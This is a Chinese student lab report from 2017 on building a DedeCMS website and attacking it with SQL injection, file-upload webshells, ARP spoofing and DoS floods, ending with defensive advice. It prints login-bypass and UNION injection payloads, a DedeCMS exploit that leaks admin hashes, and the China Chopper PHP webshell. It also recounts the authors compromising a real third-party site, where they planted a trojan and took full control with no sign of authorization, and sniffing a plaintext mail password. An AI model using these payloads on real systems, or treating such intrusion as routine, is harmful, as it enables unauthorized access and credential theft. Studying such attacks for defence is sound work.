Web网站的设计与攻击实验报告

徐达
Student ID: 1400012989

师浩然
Student ID: 1400012931

徐志荣
Student ID: 1400012997

阳宁
Student ID: 1400012815

January 11th, 2017

1 分工情况

徐达 建立和维护网站，发布信息并试验MySQL攻击

师浩然 对网站进行应用层的攻击，整理报告

徐志荣 问题调研，对网站进行网络层和链路层攻击

杨宁 前期调研

2 需求调研

从互联网诞生起，安全就一直伴随着网络的发展，各种web攻击和信息泄露也从未停止。随着互联网规模的逐步扩大，越来越多的企业和个人开始在网络上建立自己的个人网站，以静态和动态发布相应信息。一般网站的主要功能有发布文章、添加评论、用户登录与注册，还可以上传图片和附件、更新个人资料等。纯静态的网站页面极其安全，但是为了网站和用户的交互性，大部分网站也提供动态和活动页面，这就为网站的安全性留下了隐患。

一个合格的网站管理者需要熟悉网站被攻击的常见形式并加以防范。攻击网站的需求是对网页的内容进行篡改。常用攻击手段有SQL注入、XSS攻击、CSRF攻击等。其中SQL注入攻击是黑客对数据库进行攻击的常

用手段之一，一般存在于带有参数的动态网页中。如果后台程序没有对用户输入数据的合法性进行判断，用户就可以提交一段数据库查询代码，根据程序返回的结果，获得某些他想得知的数据，或是绕过后台的身份验证提升权限。SQL注入的手法相当灵活，需要构造巧妙的SQL语句，从而成功获取想要的数据。

考虑到操作的方便与校园网下的网络环境，可选的攻击方式有SQL注入、ARP欺骗、DoS攻击等。

3 实验目的

Web网站的设计实现与攻击

4 实验要求

- 设计并创建一个web网站
- 对Web网页进行攻击

5 实验原理

5.1 动态页面发布

运行在服务器上的Apache接收来自浏览器的请求，并执行解释器解释相应的PHP文件，PHP通过内置的API访问数据库取得数据，并返回给浏览器。

5.2 ARP欺骗

某机器A要向主机B发送报文，会查询本地的ARP缓存表，找到B的IP地址对应的MAC地址后，就会进行数据传输。如果未找到，则A广播一个ARP请求报文（携带主机A的IP地址和物理地址），请求IP地址为Ib的主机B回答物理地址Pb。网上所有主机包括B都收到ARP请求，但只有主机B识别自己的IP地址，于是向A主机发回一个ARP响应报文。其中就包含有B的MAC地址，A接收到B的应答后，就会更新本地的ARP缓存。

接着使用这个MAC地址发送数据（由网卡附加MAC地址）。因此，本地高速缓存的这个ARP表是本地网络流通的基础，而且这个缓存是动态的。

5.3 DoS攻击

拒绝服务攻击亦称洪水攻击，是一种网络攻击手法，其目的在于使目标电脑的网络或系统资源耗尽，使服务暂时中断或停止，导致其正常用户无法访问。

5.4 注入攻击

SQL注入攻击主要是通过构建特殊的输入，这些输入往往是SQL语法中的一些组合，这些输入将作为参数传入Web应用程序，通过执行SQL语句而执行入侵者的想要的操作。注入攻击过程如下：

1. 判断Web环境是否可以SQL注入。如果URL仅是对网页的访问，不存在SQL注入问题，如：`http://news.xxx.com.cn/162414739931.shtml`就是普通的网页访问。只有对数据库进行动态查询的业务才可能存在SQL注入，如： `http://www.google.cn/webhp?id39`，其中“?id＝39”表示数据库查询变量，这种语句会在数据库中执行，因此可能会给数据库带来威胁。

2. 寻找SQL注入点。完成上一步的片断后，就要寻找可利用的注入漏洞，通过输入一些特殊语句，可以根据浏览器返回信息，判断数据库类型，从而构建数据库查询语句找到注入点。

3. 猜解用户名和密码。数据库中存放的表名、字段名都是有规律可言的。通过构建特殊数据库语句在数据库中依次查找表名、字段名、用户名和密码的长度，以及内容。这个过程可以通过网上大量注入工具快速实现，并借助破解网站轻易破译用户密码。

4. 寻找WEB管理后台入口。通常WEB后台管理的界面不面向普通用户开放，要寻找到后台的登陆路径，可以利用扫描工具快速搜索到可能的登陆地址，依次进行尝试，就可以试出管理台的入口地址。或者，在网站的根目录一般会有robots.txt，规定了网络爬虫不可扫描的目录，有时这些目录里会暴露后台登陆页面。这虽然只是个君子协定，但被大多数大型搜索引擎认可。

5. 入侵和破坏。成功登陆后台管理后，接下来就可以任意进行破坏行为，如篡改网页、上传木马、修改、泄漏用户信息等，并进一步入侵数据库服务器

6 系统设计

服务器配置 采用流行的LAMP on Ubuntu架构

- Ubuntu 14.04
- Apache 2.2.22
- MySQL 5.5.53
- PHP 5.3.10

网站建设 采用国内使用人数较多的织梦内容管理系统DedeCms，并在其基础上开发自己的网页，添加链接到主页面中。

网站攻击 在攻击网站时，分别实现应用层的注入攻击和ARP的欺骗攻击。

ARP攻击和DoS攻击 Python2, Scapy on Ubuntu

7 实验步骤

7.1 建站

在个人服务器上设计了三个带有漏洞的小页面，并利用Dedecms建站工具在新目录下搭建网站以发布信息。

7.2 应用层攻击

对网站目录下的4个区域分别进行攻击。

7.2.1 绕过密码登录验证

登录界面通过表单提交用户名和密码：

```
1 <form action = "login.php" method = "POST">
2   <input type = "text" name = "username" value = "" />
```

```
  <input type = "password" name = "password" />
</form>
```

点击登录后，后台验证用户的查询语句为：

```
select * from admin where username = '$_POST[username]'
and password = '$_POST[password]'
```

如果输入usename为root'/*，password为*/'，中间的password验证会被注释掉，成功通过验证。

7.2.2 获取数据库信息

一个查询产品信息的网页使用如下SQL语句：

```
select * from products where pid = $_GET[id]
```

由于是GET请求，参数附在URL中，可以通过构造URL完成注入。例如：`test.php?id=1+and+1=2+union+select+1,2,user(),database(),version()`，通过利用数据库的union语句，当前半部分为假时会执行后半部分的操作，可以在原本产品信息的展示位中显示后台数据库的关键信息。`test.php?id=1+and+1=2+union+select+1,2,3,4,GROUP_CONCAT(DISTINCT+table_schema)+from+information_schema.columns` 同样利用union语句，用GROUP_CONCAT在一个展示位显示所有数据库的名字。利用同样的方法还可以得到数据库中所有表的名字，表中所有列的名字和内容。

7.2.3 文件上传漏洞

如果一个网站对上传的文件格式不做检查，就可能会被恶意用户上传木马到网站上，通过后台木马窃取或者修改网站信息。例如在`http://adux.me/3/test.html`中，可以选择上传一个PHP木马，通过木马获取webshell，进而窃取整个网站的信息。木马的详细内容将在之后说明。

7.2.4 Dedecms建站攻击

在定点攻击网站时，可以利用AWVS扫描网站页面潜在的漏洞。如果出现SQL注入漏洞，就可以利用Mapsql工具对发现的漏洞进行利用，进而获得webshell。但是AWVS无法显式扫描网站后台，难以对登陆界面进行定

点爆破，于是我们转而使用了M7lrvCMS网站扫描程序。该工具可以批量扫描大批URL，并发现可能被利用的网站，并展示EXP执行结果。事实上，这些批量注入工具是大部分网站攻击者所采用的：通过扫描大批网站找到潜在待攻击网站，再对弱安全网站进行定点爆破。通过这个工具，我们找到了`www.loveperk.com`，并成功攻下了这个网站的服务器，植入了木马并进行了完全操控。

建站 我们先使用Dedecms内容管理工具在服务器上搭建了自己的网站，并按照Dedecms的推荐配置过程对其进行了权限和数据库配置。

发现漏洞 在uploadsafe.inc.php中存在漏洞，在flink_add.php中上传的参数只是经过简单的正则替换。

构造Exp 具体Exp文件在exp.txt中。提交后在plus/flink.php中可以看到无法显示的图片，查看网页源码即可得到账号和经过md5加密的密码。

```
<a href='http://xxx.com' target='_blank'>
<img src='admin|f297a57a5a743894a0e4'
width='88' height='31' border='0' alt='xxoo','></a>
```

注意，Dedecms的密码是20位Md5密码，需要去掉前三位和后一位，通过16位Md5解密即可得到明文密码。

登陆后台 Dedecms的首页并不提供登陆后台的页面，我们该如何发现网站后台呢？Dedecms的默认后台登陆页面为dede/login.php。这个配置是可以修改的，如果发生了改动，我们可以使用M7lrvCMS等工具进行后台扫描，也可以访问网站根目录下的robots.txt文件。这个文件规定了一些网络爬虫不应该爬取的文件和目录，后台页面有很大可能在这个文件中。

上传木马 可以使用菜刀木马，也可以用其他木马。事实上，菜刀木马已经足够做很多事情。

```
<?php @eval($_POST['chopper']);?>
```

启动木马 启动菜刀客户端，添加新的被监控页面，输入url和木马需要传递的参数名。直接使用会出现权限错误无法执行，需要先获取虚拟终端，在终端中使用chmod指令将php文件权限改为777，即可通过菜刀客户端窃取并修改网页内容。事实上，在获取到Webshell之后，入侵者几乎可以为所欲为。

7.3 ARP欺骗

IP转发 开启IP转发功能，这是因为主机默认没有开启，导致流量的目标IP不对会直接被网卡丢弃

ARP请求和回应 利用ARP的原理，回应(arp中op=2)目标主机(理论上回应或请求均可，因为都会更新arp列表)：ARP(本机MAC, 网关IP地址, 目标mac, 目标ip, op=2)。利用ARP的原理，请求(arp中op=1)网关(理论上回应或请求均可，因为都会更新arp列表)：ARP(目标MAC, 本机IP地址, 网关mac, 网关ip, op=1)

访问拦截 ARP毒化成功，目标会认为本机是网关，网关会认为本机是目标，因此实际上本机构成了在目标和网关之间的监听，开启IP转发也是为了流量的顺利通过，值得注意的是我们的这一系列操作均在本机完成，不涉及到目标，因此具有一定的隐蔽性。

结果验证

Driftnet 这是一个能在流量中嗅探图片的工具，在本机开启它，在目标主机上任意访问网站，可以观察到本机的Driftnet上出现了一系列图片，对比可以发现与目标访问的图片一致。

Wireshark 这是一个监听本机流量的工具，在本机开启Wireshark，设置过滤器http and ip.src= target ，表明我们只监听目标的http流量，然后在目标主机上访问任意网站，可以观察到本机上的Wireshark也出现了相关http连接，一个例子是mail.pku.edu.cn。它Post了https://mail.pku.edu.cn/coremail/index.jsp?cus=1，可以看出流量监听完全可以泄露相关敏感信息，如果拿到相关Cookies,个人信息暴露的会更加严重。具体附加表单如下：

表 1: Post表单

参数名字	参数值
locale(地区)	zh_CN
username(学号)	*
nodetect(未知)	false
domain(有可能是受信任的域)	pku.edu.cn
uid(登录帐号，也是学号)	*
password(密码，明文)	*
action(执行操作)	login

7.4 DoS攻击

由于学校内部分配的带宽有限，因此单台主机DoS攻击效果不是很明显，如果有多台主机，同时执行脚本来达到DDoS的攻击效果，理论上来说是可以让某个目标主机超负荷的，限于条件，未能演示。

TCP Flood 用SYN Flood进行攻击，即本机向目标主机发送大量SYN包以达到让目标主机一直处于回应SYN包和等待连接并被挂起的目的，因此本机只需要向目标持续发送随机IP的SYN包即可。

UDP Flood 由本机直接向目标主机发送大量UDP包来达到流量攻击的目的，由于本机带宽过小，不考虑这一种翻倍倍数过小的攻击方法。

ICMP Flood 学校内部禁止Ping，因此无法执行这一种攻击手段。

HTTP Flood 也称CC攻击，直接请求HTTP，因为本机只需要请求一个链接，而目标需要返回大量的数据，这样就达到了流量翻倍的效果，例如如果涉及到搜索功能，那么目标的CPU也将会有一定负载，因此可以通过大量请求随机IP的HTTP链接来达到让目标流量过载，CPU过负荷的目的。

7.5 源程序

已经随报告一起提交，并附加了相应的README文件。

8 开发心得

网络是一个脆弱的生态系统，如果网络配置者没有考虑到相关的漏洞，那么很容易被渗透和窃取信息。由于大众的安全意识一般不足，各种漏洞广泛存在。即使是配置好了安全手段，也无法避免一些定点攻击。目前广泛存在的DDOS攻击，无法将其与正常访问分开，因此无法避免，而这种攻击也变成了流量带宽的拼比，考虑到大众安全意识的缺乏，肉鸡的获取仍然比较简单，就这个方面来说，厂商遭受DDOS攻击的损失远比攻击者的损失大，可见网络安全仍然是一个严重的问题。任何网民只有逐渐培养起安全意识，才能在互联网中保障自己的数据安全。

建站工具 从零开始建设一个完整的网站需要耗费较多精力做一些繁杂的工作，不如利用已有的工具进行二次开发。已有的工具一般已经非常成熟，但一旦出现漏洞，就会造成比较大的损失，需要慎重选择。

数据库操作 为了避免SQL注入攻击，PHP对数据库的操作要格外小心。防范方法有检查输入数据合法性、替换敏感字符、为静态和动态网页设置不同权限、用非常规方式加密敏感数据等等。

权限管理 网站建立者应当注意对各个目录文件的权限设置。将建站工具之下的所有文件权限设置为777固然是十分方便的手段，但也给网站留下了很大的安全隐患，给木马留下了侵入空间。

自检 建立者应该注意对自己发布的重要网站进行自我检测，学会使用主流的漏洞扫描工具自检并修复漏洞，在数据库查询和字符传递时必须注意对信息的加密。

协议选择 尽量使用HTTPS访问重要网站，HTTP由于没有加密机制很容易被窃取信息。

配置网防火墙 对于ARP攻击，虽然十分隐蔽，但是只要配置好了相关手段，如绑定ARP和MAC，就很容易防范。

参考文献

[1] http://0day5.com/archives/1542

[2] https://www.acunetix.com/vulnerabilities/web/

[3] http://m7lrv.com/

[4] http://blog.chinaunix.net/uid-25266990-id-2419446.html

[5] http://www.dedecms.com/

[6] https://en.wikipedia.org/wiki/ARP_spoofing

[7] https://en.wikipedia.org/wiki/Denial-of-service_attack